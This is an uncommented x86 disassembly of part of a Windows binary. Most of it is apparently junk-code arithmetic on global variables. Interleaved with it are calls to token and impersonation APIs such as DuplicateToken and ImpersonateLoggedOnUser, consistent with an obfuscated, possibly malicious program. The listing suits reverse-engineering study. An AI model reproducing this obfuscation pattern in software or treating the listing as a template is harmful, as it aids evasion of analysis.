call dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
mov dword [esp + 0x1c], eax
movsx eax, byte [0x437888]
imul eax, eax, 0x374
sub eax, dword [0x4373d0]
xor edx, edx
sub eax, 0x2f
mov dword [esp + 0x28], eax
mov dword [0x4373c4], eax
xor eax, eax
div dword [0x4373d0]
movsx ebp, byte [0x437437]
mov esi, dword [0x4373c8]
mov edx, dword [0x4373c0]
xor ebx, ebx
mov edi, eax
mov al, byte [0x4378b6]
imul byte [0x4373cc]
mov byte [esp + 0x13], al
jmp 0x4036a0
movzx eax, bl
imul eax, eax, 0x64
add eax, ebp
lea ecx, [edi + ebx]
sub edx, ecx
mov cl, byte [0x4373d0]
add esi, eax
mov al, byte [esp + 0x13]
imul dl
sub cl, al
add byte [0x437828], cl
inc ebx
cmp ebx, 0x1f
jl 0x4036a0
mov eax, dword [esp + 0x1c]
mov bl, al
imul byte [0x4373d4]
sub bl, byte [0x43791b]
mov cl, 0x71
imul cl
sub bl, byte [esp + 0x28]
mov ch, al
mov al, byte [esp + 0x4c]
sub ch, byte [0x4377f2]
imul dl
sub ch, byte [esp + 0x28]
mov cl, al
shl cl, 3
sub cl, al
mov al, byte [0x4378d0]
add bl, 0x52
add bl, byte [0x4373d0]
shl cl, 3
add byte [0x43751f], cl
mov dword [0x4373c8], esi
mov dword [0x4373c0], edx
mov esi, 0x38
add al, ch
mov byte [0x4378f7], bl
dec esi
jne 0x403724
push 4
push dword [esp + 0x8c]
mov byte [0x4378d0], al
push 0xffffffffffffffff
push 0x42d528
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
cmp dword [0x4373c0], 0x4373e0
push 0x4373e0
jae 0x403812
mov ebp, dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
call ebp
mov eax, dword [0x4373c8]
cmp dword [0x4373cc], eax
jne 0x403797
movzx ecx, ax
mov eax, dword [0x4373c4]
add ecx, 0x3f39
add ecx, eax
sub al, 1
imul cl
mov dword [0x4373c8], ecx
mov byte [0x4377e2], al
jmp 0x4037d7
mov ecx, dword [0x4373c0]
movsx eax, byte [0x4377ee]
imul ecx, ecx, 0x35d
sub eax, ecx
mov ecx, dword [0x4373c4]
mov dword [0x4373c8], eax
mov al, cl
mov dl, 0x26
imul dl
mov byte [0x4373ff], al
mov eax, dword [0x4373d0]
imul eax, eax, 0x267
add eax, 0xffffffe2
add eax, ecx
mov dword [0x4373c4], eax
mov al, byte [0x4373d4]
add al, 0x18
add byte [0x4378f3], al
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov eax, 0xffff72d9
cdq
idiv dword [0x4373d0]
mov ebx, dword [0x4373c4]
add ebx, 0x402
add dword [0x4373c0], eax
jmp 0x4038fb
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov eax, 0x183
cdq
idiv dword [0x4373d0]
mov ecx, dword [0x4373cc]
movsx esi, byte [0x437805]
mov ebp, dword [0x4373d4]
mov ebx, dword [0x4373c4]
movzx ecx, cx
add esi, ecx
sub esi, dword [0x4373c0]
mov ch, byte [0x437470]
sub esi, 0x390
xor edx, edx
lea edi, [edx + 0x31]
mov dword [esp + 0x1c], eax
lea ecx, [ecx]
mov cl, byte [esp + 0x1c]
imul ebx, edx
sub cl, byte [0x4374e4]
imul ebx, ebx, 0x7e
sub ebx, dword [0x4373c0]
sub cl, 3
add cl, byte [0x4373c0]
add edx, ebp
add ch, cl
dec edi
jne 0x403860
movsx eax, byte [0x43744b]
mov dword [esp + 0x1c], eax
mov eax, ebp
mov ebp, dword [0x4373d0]
cdq
idiv ebp
mov byte [0x437470], ch
mov dword [esp + 0x4c], eax
jmp 0x4038b0
mov eax, dword [0x4373cc]
mov edx, eax
add eax, dword [esp + 0x1c]
imul edx, esi
movzx ecx, bl
sub edx, ecx
add edx, ebp
add ebx, edx
sub ebx, eax
mov al, byte [0x4374d9]
sub al, byte [esp + 0x4c]
add esi, 0xfffffcd5
mov byte [0x43741e], al
mov al, bl
add esi, edi
sub al, 0x19
add byte [0x4374ad], al
inc edi
cmp edi, 0xb
jl 0x4038b0
mov ebp, dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
mov dword [0x4373c8], esi
mov dword [0x4373c4], ebx
cmp ebx, 0x4373e0
jb 0x40398f
mov ecx, dword [0x4373cc]
movzx eax, cl
push eax
call ebp
mov cl, byte [0x4373cc]
shl cl, 3
add cl, 0xa
add cl, al
imul eax, eax, 0x4a
mov byte [0x4374fd], cl
mov ecx, dword [0x4373c4]
imul ecx, ecx
sub eax, ecx
add eax, 0x54
push 0x4377e0
mov dword [0x4373c8], eax
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
cmp dword [0x4373cc], 0
jne 0x4042d0
movsx edx, byte [0x4378a5]
mov eax, dword [0x4373d0]
add edx, dword [0x4373c8]
neg eax
mov dword [0x4373c0], eax
mov eax, dword [0x4373c4]
mov ecx, 0x15
mov edi, edi
add eax, 0xd2
add eax, edx
dec ecx
jne 0x403980
mov dword [0x4373c4], eax
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov dword [esp + 0x20], eax
movsx eax, byte [0x437423]
cdq
idiv dword [0x4373d0]
movsx ecx, byte [0x43750b]
movsx edx, byte [0x4374c4]
mov ebp, dword [0x4373cc]
mov bl, byte [0x43745e]
mov edi, dword [0x4373d4]
mov esi, ebp
sub esi, ecx
mov ecx, dword [0x4373c8]
add edx, 0x34
sub esi, edx
mov dword [esp + 0x1c], eax
mov al, byte [0x437486]
imul byte [0x4373d4]
mov bh, al
shl al, 2
add bh, al
shl bh, 2
mov eax, ecx
cdq
idiv dword [0x4373d0]
mov edx, dword [0x4373d0]
add ecx, esi
add al, byte [esp + 0x1c]
add al, dl
mov byte [0x437443], al
mov al, 0xf4
sub al, bh
sub al, byte [0x4373c0]
add bl, al
test edi, edi
js 0x4039f4
imul ebp, ebp, 0x31
mov dword [0x4373c8], ecx
mov ecx, dword [0x4373c0]
mov eax, ecx
sub eax, ebp
imul eax, edx
push 0x4373e0
sub eax, ecx
push ecx
add eax, 0x270
push ecx
mov byte [0x43745e], bl
mov dword [0x4373c4], eax
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
mov ecx, eax
movsx esi, byte [0x437802]
mov dword [esp + 0x28], ecx
mov al, 0x8a
sub al, cl
movsx ecx, byte [0x4378e4]
imul ecx, dword [esp + 0x20]
mov ebp, dword [0x4373c8]
mov edi, dword [0x4373d0]
mov ebx, dword [0x4373c4]
mov byte [esp + 0x13], al
mov eax, 0xaaaaaaab
mul ecx
mov ah, byte [esp + 0x13]
mov ecx, edx
mov dh, byte [0x43750f]
mov dl, byte [0x4374cc]
shr ecx, 7
imul esi, ebp
mov dword [esp + 0x1c], ecx
jmp 0x403ab0
mov al, bl
sub al, dh
add al, cl
mov byte [0x4378f7], al
mov al, bl
mov cl, bl
shl al, 2
add cl, al
shl cl, 4
sub cl, 0x57
add cl, byte [esp + 0x20]
add ebx, 0xffffffe4
add dl, cl
mov ecx, dword [esp + 0x1c]
add ebx, esi
mov byte [0x4373e3], ah
test edi, edi
js 0x403ab0
movsx eax, byte [0x43792e]
mov ecx, dword [0x4373d4]
mov dword [0x4373c4], ebx
mov byte [0x4374cc], dl
cmp ecx, eax
jg 0x403b13
movsx eax, byte [0x437871]
add eax, 0x6d
add eax, ecx
mov dword [0x4373c8], eax
jmp 0x403b53
mov eax, 0x6b6fa1ff
imul dword [0x4373cc]
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp + 0x59]
add edx, ecx
mov al, bl
imul dl
mov cl, bl
sub cl, byte [0x4373d4]
mov dword [0x4373c8], edx
mov byte [0x4374c3], cl
mov cl, 0xf4
sub cl, al
sub cl, byte [esp + 0x20]
add byte [0x4374f0], cl
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov esi, dword [0x4373cc]
mov ebx, dword [0x4373c8]
cmp eax, esi
mov eax, dword [0x4373d4]
mov dword [esp + 0x20], eax
jb 0x403bb2
mov eax, dword [0x4373c0]
cdq
idiv dword [0x4373d0]
mov edx, dword [esp + 0x28]
mov cl, dl
sub cl, al
mov al, bl
imul bl
add al, 0x69
add al, byte [0x4373d0]
add cl, 0x55
mov byte [0x4374f5], al
mov byte [0x43783b], cl
mov al, dl
mov cl, 0x73
imul cl
mov byte [0x437516], al
jmp 0x403bf5
mov eax, 0x1c
cdq
idiv dword [0x4373d0]
mov dl, 0x65
mov ecx, eax
mov eax, dword [esp + 0x28]
imul dl
sub al, cl
mov ecx, dword [0x4373c4]
sub al, byte [esp + 0x20]
imul ecx, ecx, 0x11f
mov byte [0x4378b3], al
mov eax, 0x151d07eb
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [0x4373c4], eax
movsx eax, byte [0x43743f]
mov ecx, 0xffffffdf
sub ecx, eax
cmp ebx, ecx
jl 0x403c1e
movsx eax, byte [0x437535]
imul eax, eax, 0x55
sub eax, dword [esp + 0x20]
sub eax, esi
mov dword [0x4373c4], eax
jmp 0x403c56
mov eax, dword [esp + 0x20]
imul eax, esi
imul eax, eax, 0x43
cdq
idiv dword [0x4373d0]
mov ecx, eax
mov eax, 0x487ede05
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, eax
mov dword [0x4373c8], ebx
add bl, byte [0x4373c0]
add byte [0x43788b], bl
push 0
lea eax, [esp + 0xfc]
push eax
push 0
push 4
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
test eax, eax
jne 0x4042ac
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
movzx ecx, byte [0x4373d4]
mov ebx, eax
mov al, byte [0x4373c0]
add al, al
mov byte [esp + 0x13], al
movsx eax, byte [0x437849]
imul eax, ecx
mov ecx, dword [0x4373d0]
cdq
idiv ecx
mov esi, dword [0x4373c8]
mov dword [esp + 0x28], ebx
mov edi, 0x34
mov ebp, eax
movzx eax, cl
mov dword [esp + 0x1c], eax
mov eax, 0x63
cdq
idiv ecx
movsx ecx, byte [0x4377ec]
add eax, ecx
mov dword [esp + 0x4c], eax
mov al, byte [0x4378c4]
imul byte [0x4373d0]
mov cl, 0x34
imul cl
add byte [0x437471], al
lea ebx, [ebx]
mov ecx, dword [0x4373c4]
mov al, byte [esp + 0x13]
add al, cl
sub byte [0x4377ff], al
mov eax, esi
cdq
idiv dword [0x4373d0]
mov ecx, ebp
sub ecx, eax
lea eax, [esi + ecx]
cdq
idiv dword [esp + 0x1c]
mov edx, dword [esp + 0x4c]
mov esi, eax
mov eax, dword [0x4373c4]
movzx ecx, al
sub edx, ecx
add edx, ebx
add eax, edx
mov dword [0x4373c4], eax
dec edi
jne 0x403cf0
mov ecx, dword [0x4373c4]
add al, 0x36
add byte [0x437897], al
mov dword [0x4373c8], esi
cmp dword [0x4373cc], ecx
jne 0x403eb0
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov edx, dword [0x4373c4]
mov esi, dword [0x4373d4]
mov cl, al
sub cl, byte [0x437413]
mov dword [esp + 0x1c], eax
sub cl, dl
add cl, 0x55
mov byte [0x437819], cl
test esi, esi
jns 0x403dfd
mov ebx, dword [0x4373cc]
movsx eax, byte [0x437417]
movsx ecx, byte [0x43750e]
movzx edi, bl
inc edi
imul edi, dword [esp + 0x28]
add edi, eax
movsx eax, byte [0x437465]
add edi, eax
mov eax, edx
cdq
idiv ecx
movsx ecx, byte [0x4374a2]
sub edi, dword [esp + 0x1c]
mov edx, dword [0x4373c4]
sub edi, ebx
add edi, 0x1ca
imul eax, ecx
sub eax, dword [0x4373c0]
mov cl, byte [0x4374cd]
add eax, ebx
mov ebx, dword [esp + 0x28]
mov dword [0x4373d0], eax
mov al, 0x73
sub al, bl
sub al, dl
add cl, al
add esi, edi
js 0x403de5
mov dword [0x4373d4], esi
mov byte [0x4374cd], cl
push ebx
push 0x10
push 0x4377e0
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetAclInformation]
mov edx, dword [0x4373c4]
movsx esi, byte [0x4374fd]
mov cl, bl
add cl, dl
sub byte [0x4378f7], cl
movsx ecx, byte [0x437517]
mov dh, byte [0x4374ee]
mov edi, dword [0x4373c4]
sub esi, ecx
movzx ecx, bl
sub esi, ecx
mov cl, byte [0x4374a8]
sub cl, byte [0x4374f4]
add esi, ebx
add cl, byte [0x4373cc]
imul dl
mov dl, byte [0x437891]
mov byte [esp + 0x13], cl
mov ecx, dword [0x4373c0]
mov dword [0x4373c8], esi
mov byte [esp + 0x1b], al
add dl, byte [esp + 0x13]
mov al, cl
sub al, byte [0x437503]
add al, 0x11
mov byte [0x43790e], al
lea eax, [ebx + edi]
add ecx, eax
mov al, byte [esp + 0x1b]
add al, byte [0x4373d4]
sub dh, al
cmp dword [0x4373d4], 0
jl 0x403e71
mov dword [0x4373c0], ecx
mov byte [0x437891], dl
mov byte [0x4374ee], dh
push 0x4373c4
push 0x170
push 0x4377e0
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [0x4373d0]
movzx ecx, ax
cdq
idiv ecx
mov ecx, dword [0x4373c0]
add eax, 0x70
add eax, ecx
cmp dword [0x4373cc], 0
mov dword [0x4373c0], eax
jne 0x4042d2
push dword [esp + 0xb8]
lea eax, [esp + 0x84]
push 2
push eax
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
movsx edi, byte [0x437880]
mov ebp, dword [0x4373d4]
mov edx, dword [0x4373c4]
imul ebp, ebp, 0x33
mov ebx, dword [0x4373d0]
mov cl, byte [0x437441]
mov esi, edi
imul edi, dword [0x4373d4]
mov ch, al
imul esi, edx
add ch, byte [0x437477]
imul edi, edi, 0x33
mov dword [esp + 0x20], eax
mov al, ch
sub al, 0x40
add al, bl
add cl, al
sub edx, ebp
sub esi, edi
test ebx, ebx
js 0x403f56
movsx eax, byte [0x437899]
mov byte [0x437441], cl
mov ecx, dword [0x4373d4]
sub ecx, eax
mov dword [0x4373c0], esi
mov dword [0x4373c4], edx
cmp dword [0x4373d4], ecx
jl 0x403fac
movsx eax, byte [0x43791a]
cdq
idiv ebx
mov cl, byte [0x437930]
sub cl, al
add cl, 0x69
add byte [0x43792d], cl
jmp 0x403fc2
movsx eax, byte [0x437481]
imul eax, eax, 0x65
add eax, 0xffffff8e
add eax, ebx
add eax, edx
mov dword [0x4373c4], eax
mov ebp, dword [esp + 0x20]
cmp dword [0x4373cc], esi
jne 0x404064
push ebp
push 0x110
push 0x4377e0
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetAclInformation]
mov edi, dword [0x4373c4]
mov esi, dword [0x4373cc]
mov ebx, dword [0x4373d4]
cmp eax, edi
jbe 0x404023
mov eax, dword [0x4373c8]
lea ecx, [eax + eax]
movsx eax, byte [0x43785d]
sub ecx, eax
movzx eax, bx
add ecx, eax
sub ecx, ebx
sub ecx, esi
sub ecx, 0x2f
mov dword [0x4373c0], ecx
jmp 0x404046
mov eax, 0x8421085
mul ebp
movsx eax, byte [0x437518]
mov ecx, ebp
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 5
add edi, eax
add edi, ecx
mov dword [0x4373c4], edi
mov ecx, 0x1a
sub ecx, dword [0x4373d0]
movzx eax, bl
lea eax, [eax + ecx*2]
sub eax, edi
mov dword [0x4373c8], eax
mov edi, edi
test esi, esi
jne 0x404060
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
movsx ecx, byte [0x437858]
movsx edx, byte [0x43748c]
sub edx, ecx
mov ecx, dword [0x4373d0]
add edx, eax
mov dword [esp + 0x48], eax
lea eax, [ecx + 1]
add eax, edx
mov dword [0x4373c0], eax
lea eax, [ebp - 0x5b]
mov dword [esp + 0x28], eax
mov eax, 0x318
cdq
idiv ecx
movsx ecx, byte [0x43791a]
mov edx, dword [0x4373c4]
mov bl, byte [0x437930]
mov esi, 0x75
sub esi, ecx
mov ch, byte [0x437429]
mov edi, 0x3c
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x28]
mov ebp, eax
neg ebp
sub esi, edx
add edx, eax
mov al, byte [esp + 0x48]
imul dl
mov cl, al
shl cl, 4
add cl, al
mov al, byte [0x4373c0]
shl cl, 2
sub al, cl
mov byte [0x4377fe], al
mov al, byte [esp + 0x1c]
imul dl
add al, ch
add esi, ebp
sub bl, al
mov eax, dword [esp + 0x28]
mov dword [0x4373c8], esi
dec edi
jne 0x4040d7
mov ecx, dword [0x4373d4]
mov dword [0x4373c4], edx
mov byte [0x437930], bl
cmp ecx, 0x35
jle 0x4041e8
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
mov edx, dword [0x4373c0]
mov ebx, dword [esp + 0x48]
mov esi, eax
mov eax, dword [0x4373c4]
imul edx, eax
mov ecx, ebx
sub ecx, edx
cmp esi, ecx
jb 0x40417c
mov byte [0x4374d3], al
mov eax, 0x6b
cdq
idiv dword [0x4373d0]
mov dl, 0x52
mov ecx, eax
mov al, byte [0x4373f2]
imul dl
sub al, cl
add al, byte [0x4373c0]
add byte [0x437497], al
jmp 0x4041d2
mov ecx, dword [0x4373d0]
imul eax, eax, 0x3a0
cdq
idiv ecx
movzx ecx, cl
neg ecx
sub ecx, eax
mov eax, dword [0x4373cc]
cdq
idiv dword [0x4373d0]
add dword [0x4373c4], ecx
mov ecx, eax
mov eax, 0x22bde46b
imul ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, esi
add dword [0x4373c0], eax
mov al, bl
imul byte [0x4373d0]
add al, byte [0x4373c8]
mov byte [0x4374ca], al
mov eax, dword [0x4373d0]
movzx eax, ax
dec eax
imul eax, dword [0x4373d4]
add eax, dword [esp + 0x20]
jmp 0x404214
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
cmp dword [esp + 0x48], eax
ja 0x404207
movsx eax, byte [0x43749e]
imul eax, eax, 0x3e1
mov dword [0x4373c4], eax
mov eax, dword [0x4373d0]
add eax, ecx
add eax, dword [0x4373c0]
push 0x4373e0
mov dword [0x4373c8], eax
call dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov esi, eax
mov eax, dword [0x4373d4]
cdq
idiv dword [0x4373d0]
push 0x4377e0
add al, 0x49
add al, byte [0x4373cc]
mov byte [0x43790d], al
movsx eax, byte [0x437800]
cdq
idiv dword [0x4373d0]
mov dword [0x4373c8], eax
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov ebx, dword [0x4373d0]
mov edi, eax
xor edx, edx
mov eax, esi
div ebx
add eax, edi
mov dword [0x4373c4], eax
test esi, esi
je 0x4042b2
mov ebp, dword [0x4373cc]
mov edx, dword [0x4373d4]
lea ecx, [edi + edi*2]
shl ecx, 8
mov eax, ebx
sub eax, ecx
movzx ecx, si
imul ecx, edx
imul ecx, ebp
sub ebx, ecx
movsx ecx, byte [0x4374e1]
imul ecx, edx
xor edx, edx
div esi
lea edx, [ebx + ecx]
add edx, eax
jmp 0x404282
mov ebx, dword [0x4373d0]
mov ecx, dword [esp + 0x54]
inc ecx
mov dword [esp + 0x54], ecx
cmp ecx, dword [esp + 0x34]
jge 0x4042e0
mov ebp, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
jmp 0x4033c0
jmp 0x4042d0
mov cl, byte [0x4374d1]
mov al, 0x32
sub al, bl
add cl, al
jmp 0x4042d8
mov edx, dword [0x4373c0]
mov eax, 0x4373e0
mov dword [esp + 0x94], 0
cmp eax, 0x4377e0
jbe 0x4043b2
push 0x4373c8
push edx
push dword [0x4373c4]
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
mov esi, eax
movsx eax, byte [0x437834]
movsx ecx, byte [0x437533]
cdq
idiv dword [0x4373d0]
movsx edx, byte [0x437908]
imul edx, edx, 0x4b
add edx, ecx
lea ecx, [esi + 0x39]
imul ecx, ecx, 0x33
mov edi, esi
imul edi, dword [0x4373cc]
mov esi, dword [0x4373c0]
xor ebx, ebx
add dword [0x4373c4], ecx
mov ecx, dword [0x4373c8]
mov ebp, eax
jmp 0x404360
movzx eax, bl
sub eax, edi
sub eax, ebp
add ecx, edx
inc ebx
add esi, eax
dec edx
cmp ebx, 0x33
jl 0x404360
mov edx, dword [0x4373d0]
mov ebx, dword [0x4373d4]
mov dword [0x4373c8], ecx
movsx ecx, byte [0x437469]
movzx eax, dl
imul ecx, eax
imul ecx, ecx, 0x17
add ecx, ebx
add ecx, edx
add esi, ecx
add byte [0x43785c], 0x10
mov dword [0x4373c0], esi
jmp 0x40442f
jmp 0x4043b0
push ebx
push 0x40
push 0x4373e0
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetAclInformation]
movsx ecx, byte [0x4378fc]
imul ecx, dword [0x4373c8]
mov edx, dword [0x4373c4]
mov ebx, dword [0x4373d4]
movzx eax, dl
sub ecx, eax
add ecx, edx
mov edx, dword [0x4373cc]
mov dword [0x4373c8], ecx
test edx, edx
je 0x40442f
movsx ecx, byte [0x437454]
movzx eax, bl
add ecx, eax
sub ecx, dword [0x4373d0]
mov eax, dword [0x4373c4]
add ecx, 0xfffffc13
add ecx, eax
mov al, byte [0x437906]
sub al, bl
add al, 0x78
mov edi, edi
mov byte [0x4374de], al
add edx, ecx
jne 0x404420
mov dword [0x4373cc], edx
push 0x4373c8
push 0x70
push 0x4377e0
push ebx
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebx, dword [0x4373d0]
mov dword [esp + 0x14], eax
mov eax, ebx
movzx ecx, bl
cdq
idiv ecx
mov edx, dword [0x4373cc]
mov byte [0x437494], al
test edx, edx
je 0x404489
mov esi, dword [0x4373c8]
mov ecx, dword [0x4373c4]
movsx eax, byte [0x4374bd]
imul eax, esi
add ebx, eax
mov eax, edx
imul eax, eax, 0x74
add ecx, eax
jmp 0x404474
mov ebx, dword [esp + 0x14]
push 0x4377e0
push ebx
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
movzx esi, al
push ebx
lea eax, [esi + 0x32]
mov dword [0x4373c0], eax
mov al, bl
sub al, byte [0x4373d4]
sub al, byte [0x4373cc]
sub al, byte [0x4373c8]
add byte [0x437402], al
call dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
mov ebx, dword [0x4373d0]
movzx eax, bl
movzx ecx, bx
imul ecx, eax
mov eax, dword [0x4373c4]
imul ecx, esi
add ecx, dword [0x4373c0]
add eax, 0x4e
add eax, ecx
mov dword [0x4373c4], eax
mov eax, dword [0x4373d4]
cdq
idiv ebx
movzx ecx, word [0x4373cc]
sub eax, ecx
dec eax
mov dword [0x4373c8], eax
lea eax, [esp + 0x188]
push eax
push 0
push 0x181
push dword [esp + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
mov ebp, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
push 0x4373e0
call ebp
mov ebx, dword [0x4373c8]
mov edx, dword [0x4373c0]
mov edi, dword [0x4373d4]
mov ecx, ebx
imul ecx, ecx, 0x4f
sub edx, ecx
movsx ecx, byte [0x437896]
sub edx, ecx
mov ecx, dword [0x4373c4]
mov dword [esp + 0x28], eax
movsx eax, byte [0x437868]
sub edx, edi
add ecx, edx
mov dword [0x4373c4], ecx
cmp eax, dword [0x4373c0]
jge 0x4045a6
lea eax, [ebx*2 + 0x74]
imul ecx, ecx, 0x6a
mov dword [0x4373c8], eax
mov al, 0x49
sub al, byte [0x4378ab]
sub al, byte [esp + 0x28]
sub al, byte [0x43745e]
add byte [0x43745b], al
mov eax, 0x57
sub eax, ecx
mov dword [0x4373c4], eax
cmp edi, dword [0x4373cc]
jge 0x404677
push 0x4373e0
call ebp
movsx ecx, byte [0x437465]
mov eax, dword [0x4373c0]
movsx esi, byte [0x437493]
mov ebx, dword [0x4373d0]
lea ecx, [ecx + eax*2]
movzx eax, byte [0x4373d4]
add ecx, eax
mov dword [0x4373c0], ecx
xor ecx, ecx
mov eax, ecx
cdq
idiv ebx
inc ecx
sub eax, esi
add eax, 0x35
mov dword [0x4373c8], eax
cmp ecx, 0x18
jl 0x4045e6
movzx eax, bl
push eax
call dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
mov eax, dword [0x4373c8]
mov esi, dword [0x4373d0]
cdq
idiv esi
mov dl, 0xb9
mov ecx, eax
mov al, byte [esp + 0x28]
imul dl
mov edx, dword [0x4373d4]
sub al, cl
movsx ecx, byte [0x437489]
add byte [0x437935], al
imul ecx, ecx, 0xe2
movsx eax, byte [0x43750a]
add ecx, dword [0x4373cc]
add eax, 0x8312
add eax, ecx
mov cl, byte [0x437498]
mov dword [0x4373c8], eax
mov eax, dword [0x4373c4]
lea esp, [esp]
add cl, 0x56
sub eax, 0x51
test edx, edx
js 0x404660
mov dword [0x4373c4], eax
mov byte [0x437498], cl
jmp 0x4046be
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov esi, dword [0x4373d0]
mov eax, 0x1b
sub eax, esi
mov dword [0x4373c4], eax
movzx ecx, si
mov eax, 0x2f
cdq
idiv ecx
mov ecx, dword [0x4373c0]
imul ecx, ecx, 0x38d25041
sub eax, dword [0x4373c8]
imul eax, eax, 0x44bdcf2a
add eax, ecx
mov dword [0x4373c0], eax
push esi
push 0x160
push 0x4373e0
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetAclInformation]
mov ecx, eax
mov eax, 0xaaaaaaab
mul ecx
mov ebx, dword [0x4373d0]
mov ebp, dword [0x4373d4]
mov ecx, edx
mov edx, dword [0x4373c8]
movzx eax, dx
shr ecx, 5
imul ecx, eax
mov ah, byte [0x4374ce]
mov dword [esp + 0x48], edx
mov dword [esp + 0x20], ecx
mov dword [0x4373c0], ecx
mov edi, edi
mov al, 0x6e
sub al, bl
sub al, cl
add ah, al
test ebp, ebp
js 0x404710
xor ecx, ecx
mov byte [0x4374ce], ah
mov dword [esp + 0x28], ecx
cmp dword [esp + 0x34], ecx
jle 0x404c08
lea eax, [esp + 0x204]
push eax
push ecx
push 0x102b
push dword [esp + 0x68]
mov dword [esp + 0x224], 2
mov dword [esp + 0x220], 0
call dword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [0x4373c4]
cmp eax, dword [0x4373cc]
je 0x4047b1
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movsx eax, byte [0x437467]
mov esi, dword [0x4373d0]
cdq
idiv esi
movsx ecx, byte [0x437926]
add ecx, dword [0x4373c0]
mov dword [0x4373c4], ecx
sub al, byte [0x4373cc]
add al, cl
add al, byte [0x4373c8]
add byte [0x437804], al
jmp 0x4047b7
mov esi, dword [0x4373d0]
push 0x4373c0
push esi
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
cmp dword [0x4373d4], 0
mov edx, eax
mov dword [esp + 0x14], edx
jl 0x404bc4
movsx ecx, byte [0x437878]
movsx eax, byte [0x437446]
mov esi, dword [0x4373c4]
mov ebx, dword [0x4373c0]
mov edi, 1
sub edi, ecx
mov ecx, dword [0x4373c8]
imul edi, ecx
lea ebp, [ecx - 0x130]
add ebp, eax
lea ecx, [ecx]
mov al, dl
imul bl
sub al, 0x21
add al, byte [0x43792a]
add al, byte [0x4373cc]
mov byte [0x4374b8], al
mov eax, 0xb60b60b7
imul esi
add edx, esi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [esp + 0x14]
mov eax, edi
sub eax, ecx
add ebx, eax
add esi, ebp
test edx, edx
jne 0x404810
mov edi, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
push 0x4373e0
mov dword [0x4373c4], esi
mov dword [0x4373c0], ebx
call edi
movsx eax, byte [0x4374ad]
mov ecx, dword [0x4373c0]
mov edx, dword [0x4373c4]
imul eax, ecx
imul eax, eax, 0x67
movzx ecx, cx
sub ecx, dword [0x4373cc]
add eax, 0x47
mov dword [0x4373c8], eax
add ecx, 0x18
mov esi, 0x40
mov eax, ecx
sub eax, edx
add ecx, 2
mov edx, eax
dec esi
jne 0x404895
push esi
push esi
push 0x18b
push dword [esp + 0x38]
mov dword [0x4373c4], edx
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x4373e0
mov dword [esp + 0x40], eax
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov ebx, dword [0x4373d4]
mov ecx, dword [0x4373d0]
mov ebp, eax
movzx eax, bl
cdq
idiv ecx
mov dl, 0x5a
mov dword [esp + 0x54], ebp
mov dword [esp + 0x14], eax
mov al, bl
imul dl
mov dl, byte [0x4378e1]
sub al, cl
mov cl, byte [esp + 0x14]
add cl, 0x38
add cl, byte [0x4373c4]
add dl, al
mov byte [0x4374d4], cl
test ebx, ebx
js 0x4048f1
movsx ecx, byte [0x437836]
movsx eax, byte [0x437509]
imul ecx, ebx
mov ebx, dword [0x4373c0]
add ecx, ebx
mov byte [0x4378e1], dl
cmp eax, ecx
jle 0x404957
mov eax, 0x3e
cdq
idiv dword [0x4373d0]
mov edx, dword [0x4373d0]
movzx ecx, dx
sub eax, ecx
movsx ecx, byte [0x437926]
add eax, edx
add ecx, eax
add dword [0x4373c8], ecx
jmp 0x40495d
mov edx, dword [0x4373d0]
cmp dword [0x4373cc], 0x4373e0
jne 0x404a14
